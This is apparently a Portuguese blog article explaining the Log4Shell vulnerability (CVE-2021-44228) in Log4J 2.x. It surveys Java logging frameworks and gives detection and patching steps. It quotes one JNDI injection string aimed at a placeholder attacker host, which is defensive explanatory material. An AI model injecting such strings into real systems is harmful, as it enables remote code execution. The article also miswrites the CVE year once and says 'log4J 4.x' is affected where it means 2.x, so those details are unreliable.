Log4J Vulnerability

Um resumo sobre a vulnerabilidade de um dos frameworks de logs mais usado pela comunidade java e o que você deve fazer para descobri-la e resolvê-la.

 

No início de dezembro de 2021 foi descoberta uma vulnerabilidade no framework Log4J 2.x. Uma das mais graves já descobertas.

Devido à difusão desse framework, um dos mais usados pela comunidade de desenvolvedores Java em bibliotecas, frameworks e sistemas pelo mundo, isso gerou um grande impacto e visibilidade nos fóruns e sites especializados.

Este artigo explica a vulnerabilidade, faz um resumo dos principais frameworks de logs para Java, bem como apresenta as principais medidas que todos podem/devem utilizar para descobrir e resolver ou mitigar o risco da vulnerabilidade em questão.

O que é o CVE-2021-44228? (*)

CVE-2001-44228 é uma vulnerabilidade classificada sob a marca de severidade mais alta, ou seja, 10 em 10. Ela permite que um invasor execute código arbitrário ao injetar dados controlados por ele em uma mensagem de log. No que diz respeito às vulnerabilidades, CVE-2021-44228 é provavelmente a pior.
Superlativos à parte, é importante entender a mecânica da vulnerabilidade. A exploração torna-se efetiva quando o invasor pode injetar uma string contendo uma substring na forma “${jndi:ldap://some.attacker-controlled.site/}”. As oportunidades para injetar tais strings parecem infinitas.
Log4J 2.x está aberto para este ataque porque realiza um “lookup”, ou pesquisa, usando o protocolo JNDI, sempre que a string “${jndi:…}” é encontrada em um parâmetro da mensagem de log. Conforme mencionado acima, o conteúdo do parâmetro da mensagem pode ser injetado com bastante oportunidade pelo invasor, gerando uma possibilidade de execução de código remota (RCE – Remote Code Execution) indevida.
(*) Traduzido do http://www.slf4j.org/log4shell.html 

Frameworks de Log para Java

De maneira geral, abaixo temos os cinco principais frameworks de log para Java:

  • java.util.logging (nativo do JDK)
  • commons-logging (org.apache.commons.logging)
  • log4J 1.x (org.apache.log4j)
  • log4J 2.x (org.apache.logging.log4j)
  • logback (ch.qos.logback)

Todos os frameworks acima são amplamente usados pela comunidade Java, sendo que o log4J 2.x e o logback são os mais modernos. Em particular, o logback é o atual framework de log default para projetos gerados com o spring-boot (start.spring.io). Mas a troca para o log4J pode ser feita com poucas linhas de alteração.

No caso, apenas o log4J 4.x é alvo da vulnerabilidade.

Por que usar frameworks de log?

Uma pergunta que você pode estar fazendo é: por que precisamos de frameworks de log e, portanto, ficar sujeito a bugs e vulnerabilidades de um fator externo e do qual não temos controle (no caso, a confecção do framework de log)?
Precisamos de frameworks de log porque logs não são informações “cruas”. Logs são provavelmente as principais fontes de informação para análise de execução de sistemas, quanto à performance, volumetria de erros e outros comportamentos. Na verdade, quanto mais “estruturados” são os logs, mais velozes serão tais análises e mais rápidos serão os feedbacks, positivos ou negativos. Além dos logs serem insumos para inúmeras ferramentas de APM (Application Performance Management).
Explicando de outra maneira, precisamos de frameworks de logs porque gerar um log, ou “logar” é muito mais do que “imprimir informações na saída padrão”. Precisamos de frameworks porque precisamos estruturar os logs e para isso precisamos resolver alguns subproblemas:

O que logar (“formatters”)?

Precisamos gerar os logs em determinados “formatos”, seja para facilitar sua leitura (se não ficou claro, por um “ser humano”), seja para que tais logs possam ser processados por outras ferramentas de forma a levar tais logs para um “banco de dados” que por sua vez será insumo para outros componentes de análise (totalizadores, gráficos etc.).
Além disso, os formatadores de log permitem agregar informações auxiliares que podem ser úteis para tais análises, como timestamp, thread, usuário, host, classe, campos para indexação no banco de dados etc. Se você já usou o Elastic+Logstash+Kibana, você talvez já tenha tido a necessidade de indexar um campo específico.
Um terceiro fator de importância dos formatadores são o fato de eventualmente precisarmos remover ou “ofuscar” informações sensíveis dos logs. Pensem por exemplo em cartões de crédito e o padrão PCI-DSS.

Quando logar

Aqui estamos falando essencialmente de dois critérios. Um é a severidade da mensagem de log. O framework de log pode/deve determinar que a mensagem final só será produzida no log se a severidade for igual ou superior a um nível estabelecido. Quando colocamos a severidade em modo DEBUG, por exemplo, normalmente o log “explode”, no sentido de que vai para o log muito mais conteúdo do que precisa ir normalmente.
Outra questão do “quando” é que, para aplicações muito críticas, podemos ter o próprio framework de log contribuindo com a queda de performance de um sistema, então o framework pode implementar estratégias específicas de otimização, como por exemplo, gerar os logs de maneira assíncrona.

Onde logar (“appenders”)

Os desenvolvedores, usuários dos frameworks de log, precisam determinar ONDE os logs serão produzidos e/ou armazenados. Um subcomponente normalmente presente nos frameworks de log é o “appender”. Appenders servem justamente para organizar este subproblema. É com eles que se determina por exemplo em que diretório e/ou arquivo os logs serão gerados, ou se tais logs serão comunicados “on-the-fly” para outras ferramentas que irão processar tais logs.
Na verdade, customizar os appenders (através de uma interface ou classe abstrata de um dos frameworks) pode ajudar a transportar as informações do log para uma ferramenta, sem a necessidade de um arquivo intermediário.

Manutenção, gerenciamento e governança

Se nada for feito com um arquivo ou repositório de log, ele vira “lixo”, ou no máximo, custo de armazenamento. Os frameworks de log também têm recursos que permitem ajudar na gestão dos logs, por exemplo, definindo critérios de expurgo (normalmente os logs mais antigos), critérios de rotação (por tamanho ou por período normalmente) e também sobre a gestão do conteúdo.
Particularmente por causa da LGPD, GDPR ou outras normas como o PCI-DSS, a governança e a aderência dos logs às políticas e compliance se tornou tão importante quanto as informações em bancos de dados relacionais ou não-relacionais.

SLF4J – Simple Log Facade for Java

Um framework que ganhou popularidade também nos últimos anos é o SLF4J – Simple Log Facade for Java. O SLF4J não é um framework de log, mas implementa o design pattern “facade” (fachada) do framework real. Então, ao programar, usamos apenas as classes do facade e fica transparente qual é o framework real sendo utilizado (na prática, a configuração do framework de log real tem que ser feita, normalmente com um arquivo XML) e a troca de um framework real por outro pode ser feita apenas trocando a dependência (jar) e o arquivo de configuração sem alterar nenhuma classe que programamos.

Descobrindo se meu código tem o CVE-2021-44228

Apesar da vulnerabilidade ser muito grave, descobrir se nosso sistema está sujeito à vulnerabilidade e corrigir o sistema caso esteja é uma tarefa razoavelmente fácil, até porque a comunidade rapidamente se mobilizou quanto ao problema.
Para descobrir, você pode tomar as seguintes medidas:

Se seu sistema usa o Maven, então no diretório raiz do projeto, você pode executar o comando
mvn dependency:tree

e verificar se aparece o “log4j 2.x” como dependência, em versão igual ou inferior à 2.15.
Nota: com esse comando você deve detectar as dependências indiretas também, ou seja, quando você usou um framework e esse framework depende do log4J 2.x. Em particular, tenha atenção com o framework “lombok” e as anotações de log dele.

Se seu sistema usa Ant (normalmente projetos mais antigos) você deve procurar a dependência acima no diretório de libraries (libs) do seu projeto.

Avalie com sua equipe de DevOps/DevSecOps se as ferramentas disponíveis de pipelines e quality gates (Sonar, Fortify, …) possuem recursos para descobrir a vulnerabilidade durante os builds automáticos.

Como resolver ou mitigar o CVE-2021-44228

Para resolver ou mitigar a vulnerabilidade, você pode/deve tomar as seguintes medidas:

Se seu projeto usa JDK 1.8 ou superior e você usa o log4j 2.x com versão 2.15 ou inferior, você deve simplesmente mudar a dependência para a versão 2.16.0 ou superior. Essa é a principal e mais fácil medida a tomar, pois não exige a alteração no seu código. Mas, claro, exige alteração na dependência (na maioria dos casos, no pom.xml do Maven), novo build e novo deploy. Esse deve ser o cenário mais comum.

Mas, se você não está nesse cenário, seguem outras medidas:

Se seu projeto usa JDK 1.7 ou inferior e você usa o log4j, mude a dependência para 2.12.2. Essa dependência demorou um pouco mais para ser liberada do que a acima, mas já está disponível também.
Se seu projeto usa log4j 1.x, seu sistema não está exposto à vulnerabilidade CVE-2021-44228. Mas você deve avaliar a substituição desse framework por outro mais moderno. O log4j 1.x tem outras vulnerabilidades menos graves, mas já está em EoL (end-of-life) e não recebendo novas evoluções.
Se desejável, vocês podem avaliar a substituição do log4j 2.x pelo logback. Essa medida pode dar um pouco mais de trabalho do que simplesmente o upgrade natural. Mas, se vocês já estão usando o SLF4J junto com o log4j 2.x, tal substituição também não seria muito difícil. Basicamente a alteração da dependência e do arquivo de configuração.
Se você não consegue alterar o jar da dependência porque não tem acesso aos fontes ou ao sistema de build (talvez você seja do time de Segurança da Informação, mas não seja desenvolvedor do sistema alvo ou não tem acesso a esse time), você pode atacar o problema mudando o runtime. Se você pode alterar o projeto ou pode acionar o time dono do projeto, dê preferência às medidas anteriores. Existem duas maneiras equivalentes para mudar o runtime:

Setar a propriedade de sistema (system property) “log4j2.formatMsgNoLookups” com o valor true.
Setar a variável de ambiente (environment variable) “LOG4J_FORMAT_MSG_NO_LOOKUPS” com o valor true.

Referências